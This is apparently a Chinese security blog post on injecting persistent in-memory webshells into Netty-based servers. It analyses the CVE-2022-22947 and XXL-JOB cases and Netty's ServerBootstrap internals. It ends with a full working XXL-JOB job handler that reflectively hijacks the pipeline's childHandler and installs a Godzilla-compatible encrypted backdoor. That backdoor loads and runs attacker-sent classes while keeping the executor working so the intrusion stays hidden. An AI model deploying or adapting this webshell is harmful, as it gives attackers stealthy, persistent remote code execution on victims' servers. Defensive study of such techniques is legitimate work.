0x01 前言
基于netty动态创建pipeline的特性，其内存马的构造思路与tomcat有一定的区别，目前网上有关netty内存马的文章都围绕CVE-2022-22947和XXL-JOB两种场景展开，并未对其做更为详细的分析。本文就以上述两种场景为始，尝试从源码角度探究netty内存马的部分细节，以供大家参考。
0x02 Netty介绍
I/O事件：分为出站和入站两种事件，不同的事件会触发不同种类的handler。
Handler (ChannelHandler)：handler用于处理I/O事件，继承如下几种接口，并重写channelRead方法完成请求的处理，功能类似于filter。
`ChannelInboundHandlerAdapter 入站I/O事件触发该handler``ChannelOutboundHandlerAdapter 出站I/O事件触发该handler``ChannelDuplexHandler 入站和出站事件均会触发该handler`
**Channel (SocketChannel)：**可以理解为对 Socket 的封装, 提供了 Socket 状态、读写等操作，每当 Netty 建立了一个连接后，都会创建一个对应的 Channel 实例，同时还会初始化和 Channel 所对应的 pipeline。
**Pipeline (ChannelPipeline)：**由多个handler所构成的双向链表，并提供如addFirst、addLast等方法添加handler。需要注意的是，每次有新请求入站时，都会创建一个与之对应的channel，同时channel会在io.netty.channel.AbstractChannel#AbstractChannel(io.netty.channel.Channel)里创建一个与之对应的pipeline。
构造netty内存马的一个思路，就是在pipeline中插入我们自定义的handler，同时，由于pipeline动态创建的特性，如何保证handler的持久化才是关键，本文以此为出发点，尝试探究netty内存马在不同场景下的利用原理。
0x03 CVE-2022-22947
先来简单回顾一下CVE-2022-22947是如何注入内存马的，文中的核心是修改reactor.netty.transport.TransportConfig#doOnChannelInit，在reactor.netty中，channel的初始化位于reactor.netty.transport.TransportConfig.TransportChannelInitializer#initChannel。
关键点如下：
config.defaultOnChannelInit()返回一个默认的ChannelPipelineConfigurer，随后调用then方法，进入到reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer，从函数名也能够看出，这个方法用于合并对象，将当前默认的ChannelPipelineConfigurer与config.doOnChannelInit合二为一，返回一个CompositeChannelPipelineConfigurer。
随后调用CompositeChannelPipelineConfigurer#onChannelInit，在此处循环调用configurer#onChannelInit，其中就包括我们反射传入的doOnChannelInit#onChannelInit。
c0ny1师傅给出的案例，就在onChannelInit内完成handler的添加，由于反射修改了doOnChannelInit，后续有新的请求入站，都会重复上述流程，进而完成handler的持久化。
`public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) { ` `ChannelPipeline pipeline = channel.pipeline();` `pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());` `}`
另外，从reactor.netty.transport.TransportConfig#doOnChannelInit的路径也能看出，该场景依赖 reactor.netty，并不适用纯io.netty的环境，如xxl-job等场景。
0x04 XXL-JOB
对于纯粹的io.netty环境，在XXL-JOB内存马中给出的答案是定制化内存马，核心思想是修改com.xxl.job.core.biz.impl.ExecutorBizImpl的实现，由于每次请求都会触发ServerBootstrap初始化流程，随即进入.addLast(new EmbedHttpServerHandler(executorBiz, accessToken, bizThreadPool));，而EmbedServer中的executorBiz在仅在启动时触发实例化，在整个应用程序的生命周期中都不变，使用动态类加载替换其实现，就能完成内存马的持久化。
在文章开头，作者也曾尝试反射调用pipeline.addBefore，依然是上面所提到的问题，不过很容易发现，通过ServerBootstrap所添加的EmbedHttpServerHandler能够常驻内存，如果我们想要利用这一特性，还需进一步分析io.netty.bootstrap.ServerBootstrap的初始化过程。
0x05 ServerBootstrap
限于篇幅，这里仅截取关键代码，直接定位到pipeline创建完成之后的片段，首先io.netty.bootstrap.ServerBootstrap#init在pipeline中添加了一个ServerBootstrapAcceptor，需要注意一下这里的childHandler，这也是一种持久化的思路，后续会继续提到。
此时pipeline在内存中的情况如下，可以看到已经添加了ServerBootstrapAcceptor。
netty介绍部分提及过handler的channelRead方法用于处理请求，因此可以直接去看io.netty.bootstrap.ServerBootstrap.ServerBootstrapAcceptor#channelRead的实现，这里ServerBootstrapAcceptor把之前传入的childHandler添加到pipeline中。
childHandler由开发者所定义，通常会使用如下范式定义ServerBootStrap，也就是添加客户端连接时所需要的handler。
`ServerBootstrap bootstrap = new ServerBootstrap();``bootstrap.group(bossGroup, workerGroup)` `.channel(NioServerSocketChannel.class)` `.childHandler(new ChannelInitializer<SocketChannel>() {` `@Override` `public void initChannel(SocketChannel channel) throws Exception {` `channel.pipeline()` `.addLast(...)` `.addLast(...);` `}` `})`` `
由开发者所定义的ChannelInitializer最终会走到ChannelInitializer#initChannel进行初始化，调用栈如下：
总结一下该流程，每次请求都将触发一次ServerBootstrap初始化，随即pipeline根据现有的ChannelInitializer#initChannel添加其他handler，若能根据这一特性找到ServerBootstrapAcceptor，反射修改childHandler，也完成handler持久化这一目标。
0x06 内存马实现
在探究netty的过程中，发现这样一篇文章: xxl-job利用研究，作者给出的EXP已经很接近完整版了，在文章的最后抛出两个问题，一是"注册的handler必须加上@ChannelHandler.Sharable标签，否则会执行器会报错崩溃"，二是"坏消息是这个内存马的实现是替换了handler，所以原本执行逻辑会消失，建议跑路前重启一下执行器"。
这两个问题很容易解决：
1、对于需要加入@ChannelHandler.Sharable这点而言，实测是不需要的，由于我们自定义的handler是通过new的方式创建的，理论上来讲就是unSharable的。
2、反射修改ChannelInitializer导致执行器失效的问题，只需要给bootstrap添加一个EmbedHttpServerHandler就能保留其原有功能。
`setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer<SocketChannel>() {` `@Override` `public void initChannel(SocketChannel channel) throws Exception {` `channel.pipeline()` `.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idle` `.addLast(new HttpServerCodec())` `.addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULL` `.addLast(new NettyThreadHandler())` `.addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(` `0,` `200,` `60L,` `TimeUnit.SECONDS,` `new LinkedBlockingQueue<Runnable>(2000),` `new ThreadFactory() {` `@Override` `public Thread newThread(Runnable r) {` `return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode());` `}` `},` `new RejectedExecutionHandler() {` `@Override` `public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {` `throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");` `}` `})));` `}``});`` `
实战中的利用还需兼容webshell管理工具，对于CVE-2022-22947而言，已有哥斯拉的马作为参考，可直接在NettyMemshell基础上稍作修改，需要注意的是，马子里的channelRead方法不能直接使用，问题出在条件判断处，msg很有可能即实现了HttpRequest，也实现了HttpContent，因此走不到else中的逻辑，修改方式也很简单，去掉else即可。
目前实测下来，姑且认为不影响正常的功能，pipeline在内存中的情况如下：
`package com.xxl.job.service.handler;`` ``import com.xxl.job.core.biz.impl.ExecutorBizImpl;``import com.xxl.job.core.server.EmbedServer;``import io.netty.buffer.ByteBuf;``import io.netty.buffer.Unpooled;``import io.netty.channel.*;``import io.netty.channel.socket.SocketChannel;``import io.netty.handler.codec.http.*;``import io.netty.handler.timeout.IdleStateHandler;``import java.io.ByteArrayOutputStream;``import java.lang.reflect.Field;``import java.lang.reflect.Method;``import java.net.URL;``import java.net.URLClassLoader;``import java.util.AbstractMap;``import java.util.HashSet;``import java.util.concurrent.*;`` ``import com.xxl.job.core.log.XxlJobLogger;``import com.xxl.job.core.biz.model.ReturnT;``import com.xxl.job.core.handler.IJobHandler;`` ``public class DemoGlueJobHandler extends IJobHandler {` `public static class NettyThreadHandler extends ChannelDuplexHandler{` `String xc = "3c6e0b8a9c15224a";` `String pass = "pass";` `String md5 = md5(pass + xc);` `String result = "";` `private static ThreadLocal<AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream>> requestThreadLocal = new ThreadLocal<>();` `private static Class payload;`` ` `private static Class defClass(byte[] classbytes)throws Exception{` `URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader());` `Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);` `method.setAccessible(true);` `return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length);` `}`` ` `public byte[] x(byte[] s, boolean m) {` `try {` `javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");` `c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));` `return c.doFinal(s);` `} catch(Exception e) {` `return null;` `}` `}` `public static String md5(String s) {` `String ret = null;` `try {` `java.security.MessageDigest m;` `m = java.security.MessageDigest.getInstance("MD5");` `m.update(s.getBytes(), 0, s.length());` `ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();` `} catch(Exception e) {}` `return ret;` `}`` ` `@Override` `// Step2. 作为Handler处理请求，在此实现内存马的功能逻辑` `public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {` `if(((HttpRequest)msg).uri().contains("netty_memshell")) {` `if (msg instanceof HttpRequest){` `HttpRequest httpRequest = (HttpRequest) msg;` `AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = new AbstractMap.SimpleEntry(httpRequest,new ByteArrayOutputStream());` `requestThreadLocal.set(simpleEntry);` `}` `if(msg instanceof HttpContent){` `HttpContent httpContent = (HttpContent)msg;` `AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = requestThreadLocal.get();` `if (simpleEntry == null){` `return;` `}` `HttpRequest httpRequest = simpleEntry.getKey();` `ByteArrayOutputStream contentBuf = simpleEntry.getValue();`` ` `ByteBuf byteBuf = httpContent.content();` `int size = byteBuf.capacity();` `byte[] requestContent = new byte[size];` `byteBuf.getBytes(0,requestContent,0,requestContent.length);`` ` `contentBuf.write(requestContent);`` ` `if (httpContent instanceof LastHttpContent){` `try {` `byte[] data = x(contentBuf.toByteArray(), false);`` ` `if (payload == null) {` `payload = defClass(data);` `send(ctx,x(new byte[0], true),HttpResponseStatus.OK);` `} else {` `Object f = payload.newInstance();` `//初始化内存流` `java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();` `//将内存流传递给哥斯拉的payload` `f.equals(arrOut);` `//将解密后的数据传递给哥斯拉Payload` `f.equals(data);` `//通知哥斯拉Payload执行shell逻辑` `f.toString();` `//调用arrOut.toByteArray()获取哥斯拉Payload的输出` `send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK);` `}` `} catch(Exception e) {` `ctx.fireChannelRead(httpRequest);` `}` `}else {` `ctx.fireChannelRead(msg);` `}` `}` `} else {` `ctx.fireChannelRead(msg);` `}` `}`` ` `private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) {` `FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context));` `response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");` `ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);` `}` `}`` ` `public ReturnT<String> execute(String param) throws Exception{` `try{` `ThreadGroup group = Thread.currentThread().getThreadGroup();` `Field threads = group.getClass().getDeclaredField("threads");` `threads.setAccessible(true);` `Thread[] allThreads = (Thread[]) threads.get(group);` `for (Thread thread : allThreads) {` `if (thread != null && thread.getName().contains("nioEventLoopGroup")) {` `try {` `Object target;`` ` `try {` `target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val\$eventExecutor");` `} catch (Exception e) {` `continue;` `}`` ` `// NioEventLoop` `if (target.getClass().getName().endsWith("NioEventLoop")) {` `XxlJobLogger.log("NioEventLoop find");` `HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");` `if (!set.isEmpty()) {` `Object keys = set.toArray()[0];` `Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");` `Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");``// ThreadPoolExecutor bizThreadPool2 = (ThreadPoolExecutor) getFieldValue(embedHttpServerHandler, "bizThreadPool");` `// 设置初始化` `setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer<SocketChannel>() {` `@Override` `public void initChannel(SocketChannel channel) throws Exception {` `channel.pipeline()` `.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idle` `.addLast(new HttpServerCodec())` `.addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULL` `.addLast(new NettyThreadHandler())` `.addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(` `0,` `200,` `60L,` `TimeUnit.SECONDS,` `new LinkedBlockingQueue<Runnable>(2000),` `new ThreadFactory() {` `@Override` `public Thread newThread(Runnable r) {` `return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode());` `}` `},` `new RejectedExecutionHandler() {` `@Override` `public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {` `throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");` `}` `})));` `}` `});` `XxlJobLogger.log("success!");` `break;` `}` `}` `} catch (Exception e){` `XxlJobLogger.log(e.toString());` `}` `}` `}` `}catch (Exception e){` `XxlJobLogger.log(e.toString());` `}` `return ReturnT.SUCCESS;` `}`` ` `public Field getField(final Class<?> clazz, final String fieldName) {` `Field field = null;` `try {` `field = clazz.getDeclaredField(fieldName);` `field.setAccessible(true);` `} catch (NoSuchFieldException ex) {` `if (clazz.getSuperclass() != null){` `field = getField(clazz.getSuperclass(), fieldName);` `}` `}` `return field;` `}`` ` `public Object getFieldValue(final Object obj, final String fieldName) throws Exception {` `final Field field = getField(obj.getClass(), fieldName);` `return field.get(obj);` `}`` ` `public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {` `final Field field = getField(obj.getClass(), fieldName);` `field.set(obj, value);` `}`` ``}`